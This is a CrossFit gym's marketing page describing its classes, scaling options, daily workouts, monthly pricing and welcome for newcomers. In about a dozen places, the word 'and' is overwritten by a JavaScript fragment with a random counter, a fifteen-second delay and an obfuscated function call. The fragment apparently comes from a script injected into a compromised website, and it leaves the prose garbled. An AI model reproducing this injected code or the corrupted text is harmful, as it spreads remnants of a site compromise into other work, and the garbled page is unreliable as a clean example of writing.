The Charles River Strength & Fitness CrossFit approach provides a prescription of constantly varied, high-intensity, functional movement, developed to enhance an individual’s competency at all physical tasks. Charles River CrossFit uses a variety of methodologies of programming including Olympic weightlifting, powerlifting, gymnastics, calisthenics, rowing, running, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many others. Most classes include skill training, strength or power development, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and metabolic conditioning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are accessible to members of all levels with individual scaling. CrossFit classes are 60 min. group sessions. All classes are scalable.
What is scalability? You’ll hear this word frequently at Charles River CrossFit. During each class, everyone does the same workout, but each workout will always have several scaling options. This makes it possible for all of us with our different body types, personal goals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and levels of ability to work alongside one another safely. We motivate one another, cheer one another on, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sometimes participate in some healthy competition. But, ultimately, every workout is yours alone. Your workout = your pace.
WOD standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands for Workouts Of the Day. You’ll be able to see tomorrow’s workout posted on our blog the night before.

Pricing

  • Unlimited classes, no restrictions – $225/month
  • Up to 3 classes a week – $185/month

New to CrossFit? No problem.

The fact that you have found us means you are curious about one of the fastest growing fitness movements on Earth.

It doesn’t matter what brought you here: a devoted friends persistence, a coach or doctors recommendation, or maybe inspiration from the latest Reebok or Nike commercial regardless, welcome to Charles River CrossFit!
The very first thing you will discover is that CrossFit does not discriminate. Whether you are 50 years old, or have just completed your 50th marathon, are recovering from injury or healing a broken heart, whether walking the dog is the only exercise you’ve had in years, or you’re someone training for the Iditarod CrossFit will help you achieve your health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fitness goals.
One of the things that makes CrossFit so unique is our community of people from literally every walk of life: stay-at-home parents, elite athletes, students, CEOs, members of the armed services, firefighters, you name it. CrossFit bodies our bodies come in every imaginable size, shape andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and age; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and yet, our workouts every day, are designed for anyone to do them.
Yes, anyone andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we can’t wait to work with you!

Looking for something else? We’ve got Fitness, Strength Training, Weightlifting, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kids Programs. LEARN MORE